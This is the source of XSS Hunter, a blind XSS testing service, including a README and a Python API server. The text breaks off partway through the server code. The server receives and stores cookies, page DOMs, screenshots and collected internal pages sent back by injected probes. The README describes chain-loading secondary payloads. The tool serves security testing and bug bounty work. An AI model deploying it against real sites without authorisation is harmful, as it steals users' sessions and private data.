├── .gitignore ├── LICENSE.txt ├── README.md ├── api ├── apiserver.py ├── logs │ └── blank ├── models │ ├── __init__.py │ ├── collected_page.py │ ├── initiate_database.py │ ├── injection_record.py │ ├── request_record.py │ └── user.py ├── probe.js ├── requirements.txt └── templates │ ├── full_report_inline_view.htm │ ├── image_401_load_template.htm │ ├── image_load_template.htm │ ├── markdown_template.md │ ├── pgp_encrypted_template.txt │ └── xss_email_template.htm ├── generate_config.py └── gui ├── guiserver.py ├── requirements.txt ├── static ├── angularicons │ ├── angularicons.eot │ ├── angularicons.svg │ ├── angularicons.ttf │ └── angularicons.woff ├── css │ ├── aboutus.css │ ├── app.css │ ├── bootstrap.min.css │ ├── contactus.css │ ├── cover.css │ ├── docs.css │ ├── features.css │ ├── homepage.css │ ├── main.css │ ├── mainapp.css │ ├── prettify.css │ ├── pricing.css │ ├── signup.css │ ├── site.css │ └── site.min.css ├── fonts │ ├── glyphicons-halflings-regular.eot │ ├── glyphicons-halflings-regular.svg │ ├── glyphicons-halflings-regular.ttf │ └── glyphicons-halflings-regular.woff ├── icons │ ├── apple-touch-icon-114x114.png │ ├── apple-touch-icon-120x120.png │ ├── apple-touch-icon-144x144.png │ ├── apple-touch-icon-152x152.png │ ├── apple-touch-icon-180x180.png │ ├── apple-touch-icon-57x57.png │ ├── apple-touch-icon-72x72.png │ ├── apple-touch-icon-76x76.png │ └── apple-touch-icon.png ├── img │ ├── Jumbotron.jpg │ ├── ascii-logo.gif │ ├── automated_payload_generation.png │ ├── automatic_page_recon.png │ ├── bg.png │ ├── bootflat-ui-kit.jpg │ ├── canvas_rendered_screenshots.png │ ├── correlated_injections.png │ ├── custom_xss_shortdomain.png │ ├── design.png │ ├── divider.png │ ├── easy_markdown_generation_reports.png │ ├── fast.png │ ├── favicon.ico │ ├── feature-bootstrap.png │ ├── feature-css.png │ ├── feature-lightweight.png │ ├── feature-mobile.png │ ├── footer-logo.png │ ├── github.png │ ├── index.png │ ├── logo-index.png │ ├── logo.png │ ├── manage_all_your_injections.png │ ├── photo-1.jpg │ ├── photo-2.jpg │ ├── photo-3.jpg │ ├── photo-4.jpg │ ├── prototyping.png │ ├── report_email_alerts.png │ ├── share.gif │ ├── slider1.jpg │ ├── slider2.jpg │ ├── slider3.jpg │ ├── thumbnail-1.jpg │ ├── thumbnail-2.jpg │ ├── thumbnail-3.jpg │ ├── thumbnail-4.jpg │ ├── together.png │ ├── wild_flowers.png │ ├── xss-hunter-report.png │ └── xss_frontpage_alert.png ├── js │ ├── app.js │ ├── bootstrap.min.js │ ├── clipboard.min.js │ ├── contactus.js │ ├── homepage.js │ ├── html5shiv.js │ ├── ie-emulation-modes-warning.js │ ├── ie10-viewport-bug-workaround.js │ ├── jquery-1.10.1.min.js │ ├── jquery-2.1.4.min.js │ ├── main.js │ ├── navbar.js │ ├── prettify.js │ ├── register.js │ ├── respond.min.js │ ├── site.min.js │ └── site.min.map └── video │ ├── xss_the_wrong_way.mp4 │ └── xss_the_wrong_way.webm └── templates ├── contact.htm ├── features.htm ├── footer.htm ├── header.htm ├── homepage.htm ├── mainapp.htm ├── mainapp_collected_pages.htm ├── mainapp_payloads.htm ├── mainapp_settings.htm ├── mainapp_xss_fires.htm ├── navbar.htm └── signup.htm /.gitignore: -------------------------------------------------------------------------------- 1 | api/uploads/* 2 | api/logs/* 3 | gui/guienv/* 4 | *.pyc 5 | .DS_Store 6 | api/uploads/* 7 | env 8 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Matthew Bryant 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DEPRECATED - TRY THE NEW EXPRESS VERSION 2 | 3 | See here for more info: https://github.com/mandatoryprogrammer/xsshunter-express 4 | 5 | # XSS Hunter Source Code 6 | This is a portable version of the source code running on https://xsshunter.com. It is designed to be easily-installable on any server for security professionals and bug bounty hunters who wish to test for XSS in a much more powerful way. 7 | 8 | **If you don't want to set up this software and would rather just start testing, see https://xsshunter.com .** 9 | 10 | # Requirements 11 | * A server running (preferably) Ubuntu. 12 | * A [Mailgun](http://www.mailgun.com/) account, for sending out XSS payload fire emails. 13 | * A domain name, preferably something short to keep payload sizes down. Here is a good website for finding two letter domain names: [https://catechgory.com/](https://catechgory.com/). My domain is [xss.ht](xss.ht) for example. 14 | * A wildcard SSL certificate, [here's a cheap one](https://www.namecheap.com/security/ssl-certificates/wildcard.aspx). This is required because XSS Hunter identifies users based off of their sub-domains and they all need to be SSL-enabled. We can't use Let's Encrypt because [they don't support wildcard certificates](https://community.letsencrypt.org/t/frequently-asked-questions-faq/26). I'm going to hold off on insulting the CA business model, but rest assured it's very silly and costs them very little to mint you a wildcard certificate so go with the cheapest provider you can find (as long as it's supported in all browsers). 15 | 16 | # Setup 17 | Please see https://thehackerblog.com/xss-hunter-is-now-open-source-heres-how-to-set-it-up/ for information on how to set up XSS Hunter on your own server. 18 | 19 | # Summary of Functionality 20 | *Upon signing up you will create a special short domain such as `yoursubdomain.xss.ht` which identifies your XSS vulnerabilities and hosts your payload. You then use this subdomain in your XSS testing, using injection attempts such as `">`. XSS Hunter will automatically serve up XSS probes and collect the resulting information when they fire.* 21 | 22 | # Features 23 | * **Managed XSS payload fires**: Manage all of your XSS payloads in your XSS Hunter account's control panel. 24 | * **Powerful XSS Probes**: The following information is collected everytime a probe fires on a vulnerable page: 25 | * The vulnerable page's URI 26 | * Origin of Execution 27 | * The Victim's IP Address 28 | * The Page Referer 29 | * The Victim's User Agent 30 | * All Non-HTTP-Only Cookies 31 | * The Page's Full HTML DOM 32 | * Full Screenshot of the Affected Page 33 | * Responsible HTTP Request (If an XSS Hunter compatible tool is used) 34 | * **Full Page Screenshots**: XSS Hunter probes utilize the HTML5 canvas API to generate a full screenshot of the vulnerable page which an XSS payload has fired on. With this feature you can peak into internal administrative panels, support desks, logging systems, and other internal web apps. This allows for more powerful reports that show the full impact of the vulnerability to your client or bug bounty program. 35 | * **Markup Report Generation**: Each XSS payload report comes with a pre-generated markdown report. These generated reports are also compatible with other markdown-supporting platforms such as Phabricator for easy bug reporting on company ticketing systems. 36 | * **XSS Payload Fire Email Reports**: XSS payload fires also send out detailed email reports which can be easily forwarded to the appropriate security contacts for easy reporting of critical bugs. 37 | * **Automatic Payload Generation**: XSS Hunter automatically generates XSS payloads for you to use in your web application security testing. 38 | * **Correlated Injections**: Perhaps the most powerful feature of XSS Hunter is the ability to correlated injection attempts with XSS payload fires. By using an [XSS Hunter compatible testing tool](https://github.com/mandatoryprogrammer/xsshunter_client) you can know immediately what caused a specific payload to fire (even weeks after the injection attempt was made!). 39 | * **Option PGP Encryption for Payload Emails**: Extra paranoid? Client-side PGP encryption is available which will encrypt all injection data in the victim's browser before sending it off to the XSS Hunter service. 40 | * **Page Grabbing**: Upon your XSS payload firing you can specify a list of relative paths for the payload to automatically retrieve and store. This is useful in finding other vulnerabilities such as bad `crossdomain.xml` policies on internal systems which normally couldn't be accessed. 41 | * **Secondary Payload Loading**: Got a secondary payload that you want to load after XSS Hunter has done it's thing? XSS Hunter offers you the option to specify a secondary JavaScript payload to run after it's completed it's collection. 42 | * **iOS Web Application**: It is also possible to view your XSS payload fires via an iOS web app. Simple navigate to the `/app` path and save the page as a web application to your iPhone's desktop. 43 | 44 | # Notable Exploits 45 | * Blind XSS in Tesla's internal servicing tool: https://samcurry.net/cracking-my-windshield-and-earning-10000-on-the-tesla-bug-bounty-program/ 46 | * Blind XSS in Spotify's Salesforce integration: https://mhmdiaa.github.io/blind-xss-in-spotify/ 47 | * Blind XSS in GoDaddy's support panel: https://thehackerblog.com/poisoning-the-well-compromising-godaddy-customer-support-with-blind-xss/ 48 | 49 | # Want to Contribute? 50 | All code was created by me and (for that reason) is likely *not* best practice and *definitely* in need of optimization/cleanup. Any pull requests are appreciated! 51 | -------------------------------------------------------------------------------- /api/apiserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import tornado.template 3 | import logging.handlers 4 | import tornado.options 5 | import tornado.ioloop 6 | import dns.resolver 7 | import tornado.web 8 | import logging 9 | import binascii 10 | import unirest 11 | import urllib 12 | import copy 13 | import json 14 | import time 15 | import yaml 16 | import sys 17 | import os 18 | import io 19 | 20 | from models.initiate_database import * 21 | from tornado import gen 22 | from tornado import httpclient 23 | from models.user import User 24 | from models.injection_record import Injection 25 | from models.request_record import InjectionRequest 26 | from models.collected_page import CollectedPage 27 | from binascii import a2b_base64 28 | 29 | logging.basicConfig(filename="logs/detailed.log",level=logging.DEBUG) 30 | 31 | try: 32 | with open( '../config.yaml', 'r' ) as f: 33 | settings = yaml.safe_load( f ) 34 | except IOError: 35 | print "Error reading config.yaml, have you created one? (Hint: Try running ./generate_config.py)" 36 | exit() 37 | 38 | CSRF_EXEMPT_ENDPOINTS = [ "/api/contactus", "/api/register", "/", "/api/login", "/health", "/favicon.ico", "/page_callback", "/api/record_injection" ] 39 | FORBIDDEN_SUBDOMAINS = [ "www", "api" ] 40 | 41 | with open( "probe.js", "r" ) as probe_handler: 42 | probejs = probe_handler.read() 43 | 44 | class BaseHandler(tornado.web.RequestHandler): 45 | def __init__(self, *args, **kwargs): 46 | super(BaseHandler, self).__init__(*args, **kwargs) 47 | 48 | if self.request.uri.startswith( "/api/" ): 49 | self.set_header("Content-Type", "application/json") 50 | else: 51 | self.set_header("Content-Type", "application/javascript") 52 | 53 | self.set_header("X-Frame-Options", "deny") 54 | self.set_header("Content-Security-Policy", "default-src 'self'") 55 | self.set_header("X-XSS-Protection", "1; mode=block") 56 | self.set_header("X-Content-Type-Options", "nosniff") 57 | self.set_header("Access-Control-Allow-Headers", "X-CSRF-Token, Content-Type") 58 | self.set_header("Access-Control-Allow-Origin", "https://www." + settings["domain"]) 59 | self.set_header("Access-Control-Allow-Methods", "OPTIONS, PUT, DELETE, POST, GET") 60 | self.set_header("Access-Control-Allow-Credentials", "true") 61 | self.set_header("Cache-Control", "no-cache, no-store, must-revalidate") 62 | self.set_header("Pragma", "no-cache") 63 | self.set_header("Expires", "0") 64 | self.set_header("Server", "") 65 | 66 | self.request.remote_ip = self.request.headers.get( "X-Forwarded-For" ) 67 | 68 | if not self.validate_csrf_token() and self.request.uri not in CSRF_EXEMPT_ENDPOINTS and not self.request.uri.startswith( "/b" ): 69 | self.error( "Invalid CSRF token provided!" ) 70 | self.logit( "Someone did a request with an invalid CSRF token!", "warn") 71 | self.finish() 72 | return 73 | 74 | def logit( self, message, message_type="info" ): 75 | user_id = self.get_secure_cookie( "user" ) 76 | if user_id != None: 77 | user = session.query( User ).filter_by( id=user_id ).first() 78 | if user != None: 79 | message = "[" + user.username + "]" + message 80 | 81 | message = "[" + self.request.remote_ip + "] " + message 82 | 83 | if message_type == "info": 84 | logging.info( message ) 85 | elif message_type == "warn": 86 | logging.warn( message ) 87 | elif message_type == "debug": 88 | logging.debug( message ) 89 | else: 90 | logging.info( message ) 91 | 92 | def options(self): 93 | pass 94 | 95 | # Hack to stop Tornado from sending the Etag header 96 | def compute_etag( self ): 97 | return None 98 | 99 | def throw_404( self ): 100 | self.set_status(404) 101 | self.write("Resource not found") 102 | 103 | def on_finish( self ): 104 | session.close() 105 | 106 | def validate_csrf_token( self ): 107 | csrf_token = self.get_secure_cookie( "csrf" ) 108 | 109 | if csrf_token == None: 110 | return True 111 | 112 | if self.request.headers.get( 'X-CSRF-Token' ) == csrf_token: 113 | return True 114 | 115 | if self.get_argument( 'csrf', False ) == csrf_token: 116 | return True 117 | 118 | return False 119 | 120 | def validate_input( self, required_field_list, input_dict ): 121 | for field in required_field_list: 122 | if field not in input_dict: 123 | self.error( "Missing required field '" + field + "', this endpoint requires the following parameters: " + ', '.join( required_field_list ) ) 124 | return False 125 | if input_dict[ field ] == "": 126 | self.error( "Missing required field '" + field + "', this endpoint requires the following parameters: " + ', '.join( required_field_list ) ) 127 | return False 128 | return True 129 | 130 | def error( self, error_message ): 131 | self.write(json.dumps({ 132 | "success": False, 133 | "error": error_message 134 | })) 135 | 136 | def get_authenticated_user( self ): 137 | user_id = self.get_secure_cookie( "user" ) 138 | if user_id == None: 139 | self.error( "You must be authenticated to perform this action!" ) 140 | return session.query( User ).filter_by( id=user_id ).first() 141 | 142 | def get_user_from_subdomain( self ): 143 | domain = self.request.headers.get( 'Host' ) 144 | domain_parts = domain.split( "." + settings["domain"] ) 145 | subdomain = domain_parts[0] 146 | return session.query( User ).filter_by( domain=subdomain ).first() 147 | 148 | def data_uri_to_file( data_uri ): 149 | """ 150 | Turns the canvas data URI into a file handler 151 | """ 152 | raw_base64 = data_uri.replace( 'data:image/png;base64,', '' ) 153 | binary_data = a2b_base64( raw_base64 ) 154 | f = io.BytesIO( binary_data ) 155 | return f 156 | 157 | def pprint( input_dict ): 158 | print json.dumps(input_dict, sort_keys=True, indent=4, separators=(',', ': ')) 159 | 160 | class GetXSSPayloadFiresHandler(BaseHandler): 161 | """ 162 | Endpoint for querying for XSS payload fire data. 163 | 164 | By default returns past 25 payload fires 165 | 166 | Params: 167 | offset 168 | limit 169 | """ 170 | def get( self ): 171 | self.logit( "User retrieved their injection results" ) 172 | user = self.get_authenticated_user() 173 | offset = abs( int( self.get_argument('offset', default=0 ) ) ) 174 | limit = abs( int( self.get_argument('limit', default=25 ) ) ) 175 | results = session.query( Injection ).filter_by( owner_id = user.id ).order_by( Injection.injection_timestamp.desc() ).limit( limit ).offset( offset ) 176 | total = session.query( Injection ).filter_by( owner_id = user.id ).count() 177 | 178 | return_list = [] 179 | 180 | for result in results: 181 | return_list.append( result.get_injection_blob() ) 182 | 183 | return_dict = { 184 | "results": return_list, 185 | "total": total, 186 | "success": True 187 | } 188 | self.write( json.dumps( return_dict ) ) 189 | 190 | def upload_screenshot( base64_screenshot_data_uri ): 191 | screenshot_filename = "uploads/xsshunter_screenshot_" + binascii.hexlify( os.urandom( 100 ) ) + ".png" 192 | screenshot_file_handler = data_uri_to_file( base64_screenshot_data_uri ) 193 | local_file_handler = open( screenshot_filename, "w" ) # Async IO http://stackoverflow.com/a/13644499/1195812 194 | local_file_handler.write( screenshot_file_handler.read() ) 195 | local_file_handler.close() 196 | return screenshot_filename 197 | 198 | def record_callback_in_database( callback_data, request_handler ): 199 | screenshot_file_path = upload_screenshot( callback_data["screenshot"] ) 200 | 201 | injection = Injection( vulnerable_page=callback_data["uri"].encode("utf-8"), 202 | victim_ip=callback_data["ip"].encode("utf-8"), 203 | referer=callback_data["referrer"].encode("utf-8"), 204 | user_agent=callback_data["user-agent"].encode("utf-8"), 205 | cookies=callback_data["cookies"].encode("utf-8"), 206 | dom=callback_data["dom"].encode("utf-8"), 207 | origin=callback_data["origin"].encode("utf-8"), 208 | screenshot=screenshot_file_path.encode("utf-8"), 209 | injection_timestamp=int(time.time()), 210 | browser_time=int(callback_data["browser-time"]) 211 | ) 212 | injection.generate_injection_id() 213 | owner_user = request_handler.get_user_from_subdomain() 214 | injection.owner_id = owner_user.id 215 | 216 | # Check if this is correlated to someone's request. 217 | if callback_data["injection_key"] != "[PROBE_ID]": 218 | correlated_request_entry = session.query( InjectionRequest ).filter_by( injection_key=callback_data["injection_key"] ).filter_by( owner_correlation_key=owner_user.owner_correlation_key ).first() 219 | 220 | if correlated_request_entry != None: 221 | injection.correlated_request = correlated_request_entry.request 222 | else: 223 | injection.correlated_request = "Could not correlate XSS payload fire with request!" 224 | 225 | session.add( injection ) 226 | session.commit() 227 | 228 | return injection 229 | 230 | def email_sent_callback( response ): 231 | print response.body 232 | 233 | def send_email( to, subject, body, attachment_file, body_type="html" ): 234 | if body_type == "html": 235 | body += "
" # I'm so sorry. 236 | 237 | email_data = { 238 | "from": urllib.quote_plus( settings["email_from"] ), 239 | "to": urllib.quote_plus( to ), 240 | "subject": urllib.quote_plus( subject ), 241 | body_type: urllib.quote_plus( body ), 242 | } 243 | 244 | thread = unirest.post( "https://api.mailgun.net/v3/" + settings["mailgun_sending_domain"] + "/messages", 245 | headers={"Accept": "application/json"}, 246 | params=email_data, 247 | auth=("api", settings["mailgun_api_key"] ), 248 | callback=email_sent_callback) 249 | 250 | def send_javascript_pgp_encrypted_callback_message( email_data, email ): 251 | return send_email( email, "[XSS Hunter] XSS Payload Message (PGP Encrypted)", email_data, False, "text" ) 252 | 253 | def send_javascript_callback_message( email, injection_db_record ): 254 | loader = tornado.template.Loader( "templates/" ) 255 | 256 | injection_data = injection_db_record.get_injection_blob() 257 | 258 | email_html = loader.load( "xss_email_template.htm" ).generate( injection_data=injection_data, domain=settings["domain"] ) 259 | return send_email( email, "[XSS Hunter] XSS Payload Fired On " + injection_data['vulnerable_page'], email_html, injection_db_record.screenshot ) 260 | 261 | class UserInformationHandler(BaseHandler): 262 | def get(self): 263 | user = self.get_authenticated_user() 264 | self.logit( "User grabbed their profile information" ) 265 | if user == None: 266 | return 267 | self.write( json.dumps( user.get_user_blob() ) ) 268 | 269 | def put(self): 270 | user = self.get_authenticated_user() 271 | if user == None: 272 | return 273 | 274 | user_data = json.loads(self.request.body) 275 | 276 | # Mass assignment is dangerous mmk 277 | allowed_attributes = ["pgp_key", "full_name", "email", "password", "email_enabled", "chainload_uri", "page_collection_paths_list" ] 278 | invalid_attribute_list = [] 279 | tmp_domain = user.domain 280 | for key, value in user_data.iteritems(): 281 | if key in allowed_attributes: 282 | return_data = user.set_attribute( key, user_data.get( key ) ) 283 | if return_data != True: 284 | invalid_attribute_list.append( key ) 285 | 286 | session.commit() 287 | 288 | return_data = user.get_user_blob() 289 | 290 | if invalid_attribute_list: 291 | return_data["success"] = False 292 | return_data["invalid_fields"] = invalid_attribute_list 293 | else: 294 | self.logit( "User just updated their profile information." ) 295 | return_data["success"] = True 296 | 297 | self.write( json.dumps( return_data ) ) 298 | 299 | def authenticate_user( request_handler, in_username ): 300 | user = session.query( User ).filter_by( username=in_username ).first() 301 | 302 | csrf_token = binascii.hexlify( os.urandom( 50 ) ) 303 | request_handler.set_secure_cookie( "user", user.id, httponly=True ) 304 | request_handler.set_secure_cookie( "csrf", csrf_token, httponly=True ) 305 | request_handler.write(json.dumps({ 306 | "success": True, 307 | "csrf_token": csrf_token, 308 | })) 309 | 310 | class RegisterHandler(BaseHandler): 311 | @gen.coroutine 312 | def post(self): 313 | user_data = json.loads(self.request.body) 314 | user_data["email_enabled"] = True 315 | if not self.validate_input( ["email","username","password", "domain"], user_data ): 316 | return 317 | 318 | if session.query( User ).filter_by( username=user_data.get( "username" ) ).first(): 319 | return_dict = { 320 | "success": False, 321 | "invalid_fields": ["username (already registered!)"], 322 | } 323 | self.write( json.dumps( return_dict ) ) 324 | return 325 | 326 | domain = user_data.get( "domain" ) 327 | if session.query( User ).filter_by( domain=domain ).first() or domain in FORBIDDEN_SUBDOMAINS: 328 | return_dict = { 329 | "success": False, 330 | "invalid_fields": ["domain (already registered!)"], 331 | } 332 | self.write( json.dumps( return_dict ) ) 333 | return 334 | 335 | new_user = User() 336 | 337 | return_dict = {} 338 | allowed_attributes = ["pgp_key", "full_name", "domain", "email", "password", "username", "email_enabled" ] 339 | invalid_attribute_list = [] 340 | for key, value in user_data.iteritems(): 341 | if key in allowed_attributes: 342 | return_data = new_user.set_attribute( key, user_data.get( key ) ) 343 | if return_data != True: 344 | invalid_attribute_list.append( key ) 345 | 346 | new_user.generate_user_id() 347 | 348 | if invalid_attribute_list: 349 | return_dict["success"] = False 350 | return_dict["invalid_fields"] = invalid_attribute_list 351 | return_dict = { 352 | "success": False, 353 | "invalid_fields": ["username (already registered!)"], 354 | } 355 | self.write( json.dumps( return_dict ) ) 356 | return 357 | 358 | self.logit( "New user successfully registered with username of " + user_data["username"] ) 359 | session.add( new_user ) 360 | session.commit() 361 | 362 | authenticate_user( self, user_data.get( "username" ) ) 363 | return 364 | 365 | class LoginHandler(BaseHandler): 366 | @gen.coroutine 367 | def post(self): 368 | user_data = json.loads(self.request.body) 369 | if not self.validate_input( ["username","password"], user_data ): 370 | return 371 | 372 | user = session.query( User ).filter_by( username=user_data.get( "username" ) ).first() 373 | 374 | if user is None: 375 | self.error( "Invalid username or password supplied" ) 376 | self.logit( "Someone failed to log in as " + user_data["username"], "warn" ) 377 | return 378 | elif user.compare_password( user_data.get( "password" ) ): 379 | authenticate_user( self, user_data.get( "username" ) ) 380 | self.logit( "Someone logged in as " + user_data["username"] ) 381 | return 382 | self.error( "Invalid username or password supplied" ) 383 | return 384 | 385 | class CallbackHandler(BaseHandler): 386 | """ 387 | This is the handler that receives the XSS payload data upon it firing in someone's browser, it contains things such as session cookies, the page DOM, a screenshot of the page, etc. 388 | """ 389 | 390 | def post( self ): 391 | self.set_header( 'Access-Control-Allow-Origin', '*' ) 392 | self.set_header( 'Access-Control-Allow-Methods', 'POST, GET, HEAD, OPTIONS' ) 393 | self.set_header( 'Access-Control-Allow-Headers', 'X-Requested-With' ) 394 | 395 | owner_user = self.get_user_from_subdomain() 396 | 397 | if owner_user == None: 398 | self.throw_404() 399 | return 400 | 401 | if "-----BEGIN PGP MESSAGE-----" in self.request.body: 402 | if owner_user.email_enabled: 403 | self.logit( "User " + owner_user.username + " just got a PGP encrypted XSS callback, passing it along." ) 404 | send_javascript_pgp_encrypted_callback_message( self.request.body, owner_user.email ) 405 | else: 406 | callback_data = json.loads( self.request.body ) 407 | callback_data['ip'] = self.request.remote_ip 408 | injection_db_record = record_callback_in_database( callback_data, self ) 409 | self.logit( "User " + owner_user.username + " just got an XSS callback for URI " + injection_db_record.vulnerable_page ) 410 | 411 | if owner_user.email_enabled: 412 | send_javascript_callback_message( owner_user.email, injection_db_record ) 413 | self.write( '{}' ) 414 | 415 | class HomepageHandler(BaseHandler): 416 | def get(self, path): 417 | 418 | self.set_header("Access-Control-Allow-Origin", "*") 419 | self.set_header("Access-Control-Allow-Methods", "OPTIONS, PUT, DELETE, POST, GET") 420 | self.set_header("Access-Control-Allow-Headers", "X-Requested-With, Content-Type, Origin, Authorization, Accept, Accept-Encoding") 421 | 422 | domain = self.request.headers.get( 'Host' ) 423 | 424 | user = self.get_user_from_subdomain() 425 | 426 | if user == None: 427 | self.throw_404() 428 | return 429 | 430 | new_probe = probejs 431 | new_probe = new_probe.replace( '[HOST_URL]', "https://" + domain ) 432 | new_probe = new_probe.replace( '[PGP_REPLACE_ME]', json.dumps( user.pgp_key ) ) 433 | new_probe = new_probe.replace( '[CHAINLOAD_REPLACE_ME]', json.dumps( user.chainload_uri ) ) 434 | new_probe = new_probe.replace( '[COLLECT_PAGE_LIST_REPLACE_ME]', json.dumps( user.get_page_collection_path_list() ) ) 435 | 436 | if user.pgp_key != "": 437 | with open( "templates/pgp_encrypted_template.txt", "r" ) as template_handler: 438 | new_probe = new_probe.replace( '[TEMPLATE_REPLACE_ME]', json.dumps( template_handler.read() )) 439 | else: 440 | new_probe = new_probe.replace( '[TEMPLATE_REPLACE_ME]', json.dumps( "" )) 441 | 442 | if self.request.uri != "/": 443 | probe_id = self.request.uri.split( "/" )[1] 444 | self.write( new_probe.replace( "[PROBE_ID]", probe_id ) ) 445 | else: 446 | self.write( new_probe ) 447 | 448 | class ContactUsHandler(BaseHandler): 449 | def post( self ): 450 | contact_data = json.loads(self.request.body) 451 | if not self.validate_input( ["name","email", "body"], contact_data ): 452 | return 453 | 454 | self.logit( "Someone just used the 'Contact Us' form." ) 455 | 456 | email_body = "Name: " + contact_data["name"] + "\n" 457 | email_body += "Email: " + contact_data["email"] + "\n" 458 | email_body += "Message: " + contact_data["body"] + "\n" 459 | send_email( settings["abuse_email"], "XSSHunter Contact Form Submission", email_body, "", "text" ) 460 | 461 | self.write({ 462 | "success": True, 463 | }) 464 | 465 | class ResendInjectionEmailHandler(BaseHandler): 466 | def post( self ): 467 | post_data = json.loads(self.request.body) 468 | 469 | if not self.validate_input( ["id"], post_data ): 470 | return 471 | 472 | injection_db_record = session.query( Injection ).filter_by( id=str( post_data.get( "id" ) ) ).first() 473 | user = self.get_authenticated_user() 474 | 475 | if injection_db_record.owner_id != user.id: 476 | self.logit( "Just tried to resend an injection email that wasn't theirs! (ID:" + post_data["id"] + ")", "warn") 477 | self.error( "Fuck off <3" ) 478 | return 479 | 480 | self.logit( "User just requested to resend the injection record email for URI " + injection_db_record.vulnerable_page ) 481 | 482 | send_javascript_callback_message( user.email, injection_db_record ) 483 | 484 | self.write({ 485 | "success": True, 486 | "message": "Email sent!", 487 | }) 488 | 489 | class DeleteInjectionHandler(BaseHandler): 490 | def delete( self ): 491 | delete_data = json.loads(self.request.body) 492 | 493 | if not self.validate_input( ["id"], delete_data ): 494 | return 495 | 496 | injection_db_record = session.query( Injection ).filter_by( id=str( delete_data.get( "id" ) ) ).first() 497 | user = self.get_authenticated_user() 498 | 499 | if injection_db_record.owner_id != user.id: 500 | self.logit( "Just tried to delete an injection email that wasn't theirs! (ID:" + delete_data["id"] + ")", "warn") 501 | self.error( "Fuck off <3" ) 502 | return 503 | 504 | self.logit( "User delted injection record with an id of " + injection_db_record.id + "(" + injection_db_record.vulnerable_page + ")") 505 | 506 | os.remove( injection_db_record.screenshot ) 507 | 508 | injection_db_record = session.query( Injection ).filter_by( id=str( delete_data.get( "id" ) ) ).delete() 509 | session.commit() 510 | 511 | self.write({ 512 | "success": True, 513 | "message": "Injection deleted!", 514 | }) 515 | 516 | class HealthHandler(BaseHandler): 517 | def get( self ): 518 | try: 519 | injection_db_record = session.query( Injection ).filter_by( id="test" ).limit( 1 ) 520 | self.write( "XSSHUNTER_OK" ) 521 | except: 522 | self.write( "ERROR" ) 523 | self.set_status(500) 524 | 525 | class LogoutHandler( BaseHandler ): 526 | def get( self ): 527 | self.logit( "User is logging out." ) 528 | self.clear_cookie("user") 529 | self.clear_cookie("csrf") 530 | self.write( "{}" ) 531 | 532 | class InjectionRequestHandler( BaseHandler ): 533 | """ 534 | This endpoint is for recording injection attempts. 535 | 536 | It requires the following parameters: 537 | 538 | request - This is the request (note: NOT specific to HTTP) which was performed to attempt the injection. 539 | owner_correlation_key - This is a private key which is used to link the injection to a specific user - displayed in the settings panel. 540 | injection_key - This is the injection key which the XSS payload uses to identify itself to the XSS Hunter service ( where aiwlq is the key ) 541 | 542 | Sending two correlation requests means that the previous injection_key entry will be replaced. 543 | """ 544 | def post( self ): 545 | return_data = {} 546 | request_dict = json.loads( self.request.body ) 547 | if not self.validate_input( ["request", "owner_correlation_key", "injection_key"], request_dict ): 548 | return 549 | 550 | injection_key = request_dict.get( "injection_key" ) 551 | 552 | injection_request = InjectionRequest() 553 | injection_request.injection_key = injection_key 554 | injection_request.request = request_dict.get( "request" ) 555 | owner_correlation_key = request_dict.get( "owner_correlation_key" ) 556 | injection_request.owner_correlation_key = owner_correlation_key 557 | 558 | # Ensure that this is an existing correlation key 559 | owner_user = session.query( User ).filter_by( owner_correlation_key=owner_correlation_key ).first() 560 | if owner_user is None: 561 | return_data["success"] = False 562 | return_data["message"] = "Invalid owner correlation key provided!" 563 | self.write( json.dumps( return_data ) ) 564 | return 565 | 566 | self.logit( "User " + owner_user.username + " just sent us an injection attempt with an ID of " + injection_request.injection_key ) 567 | 568 | # Replace any previous injections with the same key and owner 569 | session.query( InjectionRequest ).filter_by( injection_key=injection_key ).filter_by( owner_correlation_key=owner_correlation_key ).delete() 570 | 571 | return_data["success"] = True 572 | return_data["message"] = "Injection request successfully recorded!" 573 | session.add( injection_request ) 574 | session.commit() 575 | self.write( json.dumps( return_data ) ) 576 | 577 | class CollectPageHandler( BaseHandler ): 578 | def post( self ): 579 | self.set_header( 'Access-Control-Allow-Origin', '*' ) 580 | self.set_header( 'Access-Control-Allow-Methods', 'POST, GET, HEAD, OPTIONS' ) 581 | self.set_header( 'Access-Control-Allow-Headers', 'X-Requested-With' ) 582 | 583 | user = self.get_user_from_subdomain() 584 | request_dict = json.loads( self.request.body ) 585 | if not self.validate_input( ["page_html", "uri"], request_dict ): 586 | return 587 | 588 | if user == None: 589 | self.throw_404() 590 | return 591 | 592 | page = CollectedPage() 593 | page.uri = request_dict.get( "uri" ) 594 | page.page_html = request_dict.get( "page_html" ) 595 | page.owner_id = user.id 596 | page.timestamp = int(time.time()) 597 | 598 | self.logit( "Received a collected page for user " + user.username + " with a URI of " + page.uri ) 599 | 600 | session.add( page ) 601 | session.commit() 602 | 603 | class GetCollectedPagesHandler( BaseHandler ): 604 | """ 605 | Endpoint for querying for collected pages. 606 | 607 | By default returns past 25 payload fires 608 | 609 | Params: 610 | offset 611 | limit 612 | """ 613 | def get( self ): 614 | user = self.get_authenticated_user() 615 | offset = abs( int( self.get_argument('offset', default=0 ) ) ) 616 | limit = abs( int( self.get_argument('limit', default=25 ) ) 